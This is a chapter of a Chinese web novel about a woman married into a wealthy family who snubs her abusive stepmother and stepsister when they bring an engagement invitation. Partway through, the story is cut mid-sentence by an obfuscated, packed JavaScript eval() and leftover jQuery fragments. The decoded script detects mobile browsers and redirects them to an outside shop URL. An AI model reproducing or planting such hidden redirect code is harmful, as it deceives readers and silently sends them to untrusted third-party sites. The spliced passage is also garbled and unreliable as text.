文趣网 > 其他小说 > 摆烂后妈在豪门发家致富 > 16. 娘家来人
    上午十点,谢家别墅迎来了两位不速之客——顾雪莲和安松月。

    这对母女的车停在大门外,转乘谢家的高尔夫车缓缓驶入花园之中。沿途尽是名贵的花草树木,开得正当时节,看得人眼花缭乱。

    等进了屋,打量着别墅内处处透着“昂贵”两字的装潢,更是看得安松月心生嫉妒,小声与亲妈顾雪莲嘀咕。

    “妈,你不是说谢老爷子早就卸任失权,安桐嫁给他也捞不到多少好处。怎么还能住这么好的房子?”

    顾雪莲小心翼翼地扫了眼在前带路的管家,确认对方没听见安松月的抱怨,才松了口气。

    她压住眼底的艳羡,不屑一顾地说:“房子再好有什么用?等谢老爷子一死,安桐肯定会被谢家人赶出去。到时候……呵,看她怎么死!”

    “也是。”安松月想到这里释然一笑,心中的嫉妒都少了三分。

    母女俩在客厅里坐下,顾雪莲环顾四周,不见安桐等着自己,心生不满:“安桐呢?”

    管家打量了眼安安静静的二楼,礼貌地说:“应该还在睡觉,请两位稍等片刻。”

    “都快吃午饭了,她居然还在睡觉?一点教养都没有!”顾雪莲愈发不满,却不敢在谢家发作,只能耐着性子等安桐起床。

    这一等就等到了中午十一点半,期间除了管家时不时过来问候两句外,没有任何一个谢家人前来招待,一度让顾雪莲母女怀疑自己走错了地方。

    日上三竿,安桐打着哈欠下楼。

    走到楼梯拐角处,她看见管家站在客厅里正在与人说话。

    安桐以为是谢楚或谢屿洲在那儿,没多想,睡眼惺忪地吩咐:“中午炖个人参鸡,我要补补。”

    昨晚因为那2个亿的离婚赔偿,安桐气得一晚上没睡着。

    直到天亮,她才迷迷糊糊合上眼。然而一直在做噩梦,比不睡还累。

    这会儿她感觉整个人都是虚的。

    “好的,太太。”管家应声,同时道,“您娘家来人了。”

    安桐诧异,顺着旋转楼梯又往下走了几步,才看到客厅中正站起身的顾雪莲和安松月。

    这俩谁啊?

    安桐懵逼地站在原地,飞快回想原主的关系网。

    顾雪莲率先开口,笑着道:“安桐,妈来看你了。”

    安桐惊讶,很快意识到顾雪莲是原主的恶毒后妈,冷笑道:“我妈早死了。”

    顾雪莲脸上的笑意僵住了。

    安松月不悦道:“姐姐,我和妈妈好心来看你,你怎么能这样?”

    “我没扇你,你就偷着乐吧。”安桐扶着木质楼梯缓步而走,看都没多看这两人一眼,径直走去餐厅。

    这会儿本该是午饭时间,但安桐起得晚,经常赶不上,谢家就把午饭时间后延了,完全顺着安桐的作息来。

    炖人参鸡需要不少时间,在此之前,管家会让厨师给安桐准备些点心,以免她饿着。

    华贵的奢石圆桌上已经准备好燕窝粥与玫瑰豆蓉酥等点心,造型精致、香气扑鼻。

    顾雪莲和安松月对视一眼,眼中皆是惊讶与嫉恨。

    没想到安桐在谢家的日子过得这么好。

    她们还以为今天见到的会是一个满腹牢骚的怨妇。

    母女俩压着心底的想法在安桐对面坐下,理所当然地拿起筷子。

    管家正要把托盘里的点心送到她们面前,忽地听见安桐说:“不用管她们。”

    管家一愣。

    见安桐满脸不爽,管家伸出去的手一转,把已经送到顾雪莲面前的那一盘玫瑰豆蓉酥又放回托盘里,还手脚麻利地收走了两人面前的牛奶与果汁。

    安松月原本已经伸出去打算拿东西吃的手被迫停在原地,不由得大怒:“安桐,你什么意思?”

    她等了一上午,早就饿了,凭什么不让她吃!

    安桐喝了口鲜奶润润嗓子,不紧不慢地怼回去:“从前在安家,你们不让我吃饱、不让我穿暖。现在我凭什么要让你们白吃白喝?”

    原文中详细写过“安桐”和原生家庭的矛盾,顾雪莲就是那种刻板印象中的恶毒后妈,苛待继女的事一样没少干。

    吃不饱穿不暖是基操,原主读书的机会都被顾雪莲给搅了,以至于“安桐”连个像样的学位都没有。

    谢屿洲昨天才回国,顾雪莲和安松月母女今天就上门,一准儿没好事。

    她才不想成为这对恶毒母女的吸血包。

    有管家这个“谢家人”在场,顾雪莲没有当场和安桐撕破脸,反而委屈起来:“安桐,妈是为你好。你当时都多胖了?再不减肥,对你身体不好。”

    “我被你饿得体重就没上过90斤。”安桐看见她俩就烦,冷声道,“滚出去。”

    她没有表现出顾雪莲预想中的抓狂发怒,反而一针见血地反驳了自己,让顾雪莲面露不安。

    从前的安桐虽然脾气不好,但胜在没脑子,很好操纵。

    现在怎么像是变了个人,让她心生畏惧?

    顾雪莲怀疑这是谢家为安桐带来的光环,想着安桐这个“谢太太”风光不了多久,她强作镇定道:“安桐,我知道你对我有误会。今天我是来给你送请柬的,你妹妹要订婚了。”

    她把一封红底请柬放在餐桌转盘上,轻轻一推,请柬就随着转盘来到安桐面前。

    安桐懒得去管安松月的婚事,抬手就要把这玩意儿转走。

    无意间瞥见请柬封面上的照片,她愣了一下。

    ——请柬封面上是安松月和宋清野相拥的亲密合照。

    瞧着照片上宋清野那意气风发的模样,安桐有一瞬梦回大明。

    这年头,对食也要大操大办吗?

    她抬头去瞄安松月。

    安松月一脸的小人得志,完全没有即将嫁给太监的苦涩。

    难道是她上次下手太轻,没让宋清野断子绝孙?

    可宋清野当时在医院那么大声地嚷嚷自己蛋没碎,像极了崩溃后的无能狂怒。

    但凡有一丝治好的希望,谢屿洲也不会去给他送碎鸡蛋吧?

    总不会是宋家把这事瞒了起来,安松月母女还被蒙在鼓里吧?

    安桐思绪万千,吃不准到底是哪种情况,眼神不断在安松月和请柬上徘徊。

    如果真像她猜测的那样,宋清野隐瞒了自己不能人道一事。哪怕是仇人嫁给他,安桐也会心生同情。

    这事让安桐思考了好一会儿,迟迟没出声。

    配合着她那复杂的眼神,像极了心事重重,着实让安松月爽了一把。

    她至今都记得当初她和宋清野被安桐捉奸在床时,安桐是怎样的崩溃。

    那时,安桐以为嫁给宋清野,就能逃出她的手掌心。

    安松月就是要让她知道,别说是宋家,就是安桐嫁进谢家,她也一样有的是办法折磨安桐。

    瞥了眼站在一旁的管家,安松月得意洋洋地对安桐说:“姐姐,我知道你和清野从前是恋人,感情很深。但现在他是我男朋友,我们要订婚了。希望你能放下对清野的感情,和谢总一起来参加我们的订婚宴。”

    比起这个,安桐更想看到宋清野的诊断报告。

    夫妻同房之事实属私密,当着管家的面,安桐不方便直接开口,委婉地提醒安松月

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642883|206452||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“上月底宋清野住院,你去探望过吗?”

    安松月困惑:“清野为什么住院?我怎么不知道?”

    她这反应让安桐确定宋家多半隐瞒了这事。

    出于同为女人的同理心,安桐好心提醒:“你自己问问他呗。管家,有橙汁吗?”

    “我这就去让人给您现榨一杯。”管家应了一声,端着多余的食物离开。

    安松月目送他远去,酸溜溜地说:“姐姐真是好命,能嫁进谢家这样的豪门,跟人二婚、给人当后妈。不像妹妹我,头婚就能嫁给最爱的人。以后呀,我就只能跟清野恩爱一生,幸福终老啦!”

    她尾音上扬,带着极为明显的炫耀。

    宋清野又不是什么权倾朝野的大太监,有什么好显摆的?

    安桐都懒得去反驳安松月,挖起一勺布朗尼送入口中,慢条斯理地吃点心。

    在梦里和邪恶的谢屿洲斗争了一晚上,饿坏她了。

    殊不知这一幕落入安松月眼中,却成了安桐因为过于愤怒而无从反驳,只能化悲愤为食欲。

    安松月愈发得意:“姐姐,还是你眼光好,清野确实是难得一见的好男人。你是不知道他对我有多体贴、多温柔。姐姐,你现在真的不爱清野了吗?”

    安松月扯高了音调朝门口喊,生怕谢家人不知道安桐与宋清野曾是恋人,听得安桐牙根儿痒痒。

    她虽然已经跟宋清野划清界限,但总是听人提起这名字,也觉得膈应。

    瞧着安松月趾高气昂的模样,安桐凉凉道:“别嘚瑟了,小心嫁给阳.痿.男,一辈子没性.福。”

    安松月面色一僵。

    她之前跟宋清野在床上还算合拍,但最近几天都被宋清野找借口敷衍过去了。

    安松月其实一直有些不踏实,只是下意识地没往这方面想。

    她今天跟安桐嘚瑟这事,除了有意刺激安桐外,也带着一层自我安慰的成分。

    现在安桐冷不丁来这么一句,让安松月心生不安,乃至恼羞成怒:“别胡说八道!你自己嫁给老男人,在床上得不到满足,就来造谣我和清野!你会遭报应的!”

    “宋清野要是没事,怎么不敢让你知道他上月底在男科住院?”安桐问。

    安松月一愣,猛然想起上个月月底宋清野推说临时有事去外地,因此放她鸽子一事。

    难道他真的是在悄悄住院,治疗隐疾?

    这个念头一闪而过,立马被安松月推翻。

    她好不容易才把宋清野从安桐手里抢过来,决不能被安桐三言两语就忽悠走。

    安松月冷哼一声,笃定自己看穿了安桐:“哼,吃不到葡萄说葡萄酸!清野明明厉害得很,不像你老公糟老头子一个,半截身子都埋黄土里了,你跟他结婚只能守活寡!”

    虽然不清楚谢屿洲实力如何,但身为拿钱办事的“谢太太”,安桐不能让人在谢家这么诋毁谢屿洲。

    她扬唇一笑,轻飘飘地反问:“我老公要是不厉害,怎么会把我折腾到这个时候才起床?”

    安松月一噎,一时竟无法反驳。

    顾雪莲更是吃惊地走到安桐身前,难以置信地问:“谢总真的……还能行?”

    “不然呢?”安桐扫了她两眼,“怎么,你和我爸不行啦?”

    顾雪莲到底是长辈,没好意思在安桐这个小辈面前讨论这些。

    就在她暗自掂量安桐这话能不能信的时候,眼角的余光忽然瞥见餐厅门口的人影,吓了一跳:“谢总?!”

    安桐一惊,扭头就见谢屿洲站在门外,手中端着一杯橙汁,正噙着一抹笑注视着自己,不知道来了多久。